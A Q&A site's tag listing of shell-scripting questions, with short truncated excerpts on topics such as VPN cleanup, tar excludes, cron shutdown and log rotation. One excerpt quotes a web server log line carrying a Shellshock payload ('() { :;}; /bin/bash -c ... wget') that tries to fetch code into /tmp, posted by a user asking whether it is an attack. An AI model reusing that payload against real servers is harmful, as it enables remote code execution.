A shell script is a script written for the shell, or command line interpreter, of an operating system.

learn more… | top users | synonyms (1)

2
votes
2answers
38 views

opening several terminals at once

In my dev environment, I sometimes need several terminals to be open, each running its own script/ a server (rails, django, redis, mongo, consoles, etc) How can I create some shortcut that will open ...
1
vote
1answer
27 views

shell script file (.sh) - dynamic command

I'm trying to build a dynamic command to execute in an .sh file, however, when I do it, it seems that somehow it adds \r characters so command is not correctly executed. Notice that I'm running this ...
0
votes
0answers
7 views

Close VPN connection opened with openvpn and openconnect

I connect to a Cisco AnyConnect VPN with a script that looks like the following. #!/usr/bin/env bash cleanup() { sudo ifconfig tun1 down sudo ip link delete tun1 sudo killall openconnect ...
5
votes
2answers
7k views

Why do I Get [[: not found When Running a Script?

I'm trying to write a script that has to check if a file exists. In the console I write if [[ -a /path/to/file.txt ]]; then echo "not mod"; else echo "mod"; fi and I get not mod but when I write ...
0
votes
1answer
16 views

Launch a bash sub-shell and expect a command

From a shell script, how can I launch a bash sub-shell for the user & wait for the user to type exit at the bash sub-shell prompt? I tried bash -c expect -c 'expect "exit" {send "Exiting\n"}'; ...
1
vote
0answers
24 views

How can I mount NFS file in unix?

I am using Cent OS 5.6 and I have two VMs. I am trying to mount a file but unable to do so. Here's what I have done. Mkdir/uxadm Chmod 777 /uxadm vi /etc/exports /uxadm ...
1
vote
1answer
10 views

How can we configure paths for .cshrc

Within a shell script, i am trying to open a new tcsh shell and load some set of pre defined aliases and env variables which i do not want to have in default cshrc. I cannot have it in my home dir ...
15
votes
11answers
59k views

Populating Array in DOS Batch Script

How can I setup an array variable in a DOS batch script? I would like to load it with a list of file names to process. I really would like to keep this as simple as possible. Thank you.
0
votes
0answers
9 views

Don't interrupt script in sh (“try-finally” for sh scripts)

I'm trying to make a simple script to wrap a command in such a way that it runs with a swapped screen. The main target is top but I wanted it to be a general wrapper. I got it running fine with bash ...
1
vote
3answers
391 views

Avoid launching explorer to UAC-elevate a program from shell

I'm a member of administrators group on Windows 7. I need to run foo.exe from a Cmd or Powershell. The exe file requires elevation to work but the elevation is not specified in its manifest. Usually ...
1
vote
1answer
23 views

How to delete unwanted directory paths in zipped file?

Using bash on OS X 10.10 I'm zipping a folder and saving it elsewhere using this: _now=$(date +"%Y-%m-%d-%H-%M-%S") pushd /Users/me/Documents/local-backups/writing zip -r ...
0
votes
1answer
15 views

i need to pass a string of an output file to a variable so as i can use it globally all over my script [closed]

sample output RETENTION_INTERVAL ------------------ 10080 I need to pass the numeric value "10080" from the output file to a variable .The condition should validate value and ...
0
votes
0answers
19 views

Bash script monitor file modification after its closed

It has already been asked here and I have found the solution for the first part of my question. So for the moment I have a bash script (script1) where I evaluate the sha1sum of a specific file ...
0
votes
0answers
17 views

Delete messages in Gmail “All”, “Incoming” or “Sent” folder

I use one Gmail account only for mail relaying from my home server to different accounts, to multiple users. The problem is that there are some thousands of emails on this account in the "Sent" and ...
0
votes
2answers
18 views

Output redirection at the beginning of line

I'm used to specify output redirection on the end of the line like: echo blah > output.txt Both in Windows and *nix. Recently I'm seeing more and more examples that redirect at the beginning of ...
1
vote
1answer
19 views

Is there an event fired right after a command finishes executing?

In Bash, after you type in a command (e.g., ls), it will execute the command, which will write its standard output (if not redirected) to the terminal (in our example, the content of the current ...
3
votes
2answers
3k views

How to add commands of windows to local shell of XShell 4

XShell is a very powerful tools to ssh remote computers such as Unix/Linux. And it has built some internal commands for you to run within your Windows. Xshell:\> help Internal Commands: new: ...
3
votes
5answers
4k views

tar - exclude does not work

I've supposed to archive a directory with tar and exclude some files. I have a directory $HOME/java which includes some .java and .class files. What I want to do is exclude all .class files using the ...
13
votes
6answers
8k views

Log rotation of stdout?

I have a Linux program which can write information to stdout and stderr. I have a shell script which redirects that output to a file in /var/log. (Via >> and 2>&1.) Is there a way to ...
1
vote
1answer
26 views

Issues using scp to copy a file in Unix

I have a script where i need to get the cksum of the files in a directory from another host. I was able to do ssh to another host and create the file.txt. what i need to do now is to scp the file ...
4
votes
3answers
557 views

finding geolocation from an ip address

How can I find a location such as city/state or country from an ip address? Is there a ruby gem or python module to do this? Or if there is a website which has an API.
0
votes
0answers
6 views

Calculating difference between file sizes in the Unix command line [duplicate]

Want ask question about file sizes. I have same filename but different date. How I can display different of file sizes between 2 files? For example: filename_todaydate.txt: 417kb ...
61
votes
7answers
70k views

Batch converting PNG to JPG in linux

Does anyone know a good way to batch-convert a bunch of PNGs into JPGs in linux? (I'm using Ubuntu). A png2jpg binary that I could just drop into a shell script would be ideal.
1
vote
1answer
34 views

Executing PHP file from command line with dynamic parameters

I need to run one script which will take one date as an argument. It is configured using cron to run on a daily basis, but I need to run it for a time range now. The issue is that this will fetch all ...
16
votes
4answers
11k views

Should I put *.sh and *.rb file extensions on all my scripts?

I have a bunch of hand-rolled executable scripts in my $HOME/bin directory. Some are written in bash, some in Ruby. All of them have the shebang line at the top telling the shell what interpreter to ...
0
votes
0answers
15 views

how to give username/pass with openvpn shell-script

I'd like to write a little script to connect to an openvpn server from an ubuntu desktop machine. The password for the server changes regularly, so it is not in the config file in /etc/openvpn. I can ...
2
votes
1answer
30 views

unix - sort content of two folders then compare using diff command

How do I sort contents of two different folders before comparing those two directories using diff?
1
vote
1answer
29 views

Proper syntax for escaping a `$` in a regex in a bash shell script/makefile?

I'm running a Makefile which includes the following line... find ./ -type f -regextype emacs -regex ".*tests$" | xargs rm -f and am getting an error: find ./ -type f -regextype emacs -regex ...
3
votes
2answers
1k views

Why does `route` hang for a while before the route table being dumped?

Typing the command: % route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 * 255.255.255.0 U 2 0 ...
0
votes
1answer
31 views

OS X: Redirect error output of command to environment variable

I know that I can redirect the stdout to an environment variable, e.g. retcode=$(/usr/bin/osascript -e 'do shell script ... with administrator privileges') but how do redirect the stderr output to ...
1
vote
1answer
23 views

Evaluating false in bash with multiple commands without a subshell

Bash evaluates the logical operators such that && always takes precedence. So for example: false || echo 1 && echo 2 1 2 and true || echo 1 && echo 2 2 Ok. So lets say I ...
0
votes
2answers
2k views

How to shutdown ubuntu server from shell script?

I wrote a simple shell script to shutdown an ubuntu server. Then I created a cron job to execute this script at 23:59 everyday. #!/bin/bash sudo shutdown -h now I got this error message: sudo: no ...
8
votes
7answers
72k views

How can I run a shell script in Windows?

I'm a Mac user and new to Windows. How can I execute a shell script in Windows? Generally, I would save the text file with the extension .sh and run it via Terminal. But how could I do that in ...
1
vote
3answers
2k views

Shell script bash: Moving file iterate based on month

I have very little knowledge about shell scripts, but unfortunately I have to write one. I want to ask about bash script iteration moving files, I need to move log files sorted by month which will be ...
-4
votes
1answer
38 views

Shell script for going through files and deleting or compressing them

List, one at a time, all files larger than 100K in the /home/username directory tree. Give the user the option to delete or compress the file, then proceed to show the next one. Write to a logfile ...
29
votes
6answers
75k views

looping through `ls` results in bash shell script

Does any one have a template shell script for doing something with ls for a list of directory names and looping through each one and doing something? I'm planning to do ls -1d */ to get the list of ...
0
votes
1answer
45 views

Awk script to run a command based on condition using 'if'

I have a piece of code here that basically takes a file called 'srcip' (which is just a list of IP addresses) and compares it to my '~/db' file which is just a tab delimited IP HOSTNAME database of ...
11
votes
2answers
10k views

Programmatically open tab in gnome-terminal, execute command, and have tab stay open

I am trying to write a command that will launch a few terminal tabs, execute something in each tab, and have each tab stay open after the command in finished, so I can look at the output and type more ...
2
votes
1answer
179 views

Timer running under bash script in dialog window

The following bash script is an example on how to use the dialog command. This script runs a progress bar (and displays the process upgrade). What is missing in the dialog is a time clock - that ...
2
votes
1answer
60 views

How to view two dialog boxes on the linux console, running on the same time?

I want to view on the Linux console two dialog windows on the same time. I want a window that views the progress BAR, and the a second tailbox that view the logs are running. The problem is that the ...
1
vote
1answer
42 views

Split very long line of words into separate lines of max length

I have a script that outputs a list of packages on a single long line separated by spaces. The information included in this line shall be inserted into a text file which is later presented to a user. ...
1
vote
2answers
139 views

Hard linking directory structure somewhere else

I have one directory where files appear in. I want to run a script regulary that finds all files in that directory that have only one link to them, and hard link them in another directory. However, I ...
2
votes
2answers
43 views

Grep in newest file

I'm trying to find a specific line from the newest file I have in subfolders. Files have the same name. So structure is like: Folder SubFolder1 filename.xml SubFolder2 filename.xml I'm ...
0
votes
1answer
75 views

What is the difference between set, env, declare and export when setting a variable in Linux shell?

What is the difference between set, env, declare and export when setting a variable in Linux shell, like Bash?
0
votes
0answers
43 views

Why variables in shell are not inherited by sub-shell now that the sub-shell is implemented by fork?

When running shell command in shell scripts, a sub shell process is generated. Doesn't the process is generated by fork function? Why the variables that are not exported are not inherited? In fork, ...
22
votes
3answers
4k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
9
votes
7answers
58k views

ssh and shell through ssh : how to exit?

I'm launching a distant script through SSH like this: ssh user@ipaddress '~/my_script.sh' Everything is going fine but once the script is finished, the connection is not closed. I Have to press ...
1
vote
1answer
26 views

Get a range of lines from a file and replace a line in that range using awk or sed or both

I would like to replace a line in a section of the smb.conf file using either awk or sed or both if need be. Here's the section in the file... [CMI] oplocks = no wide links = no writeable ...
0
votes
1answer
225 views

Force a backgrounded complex task to fg itself?

I will often run a simple monitoring task like the following: (sleep 600 && ls -lh /path/to/files)& Is it possible to have the process de-background itself part way in? For example, to ...
0
votes
0answers
33 views

Start program from shellscript in background then bring back to foreground later

I'm trying to make a shell script that does the following: Start program ~/x While x is running execute some commands, for example: echo "blabla" >> ~/blabla.txt After the execution of those ...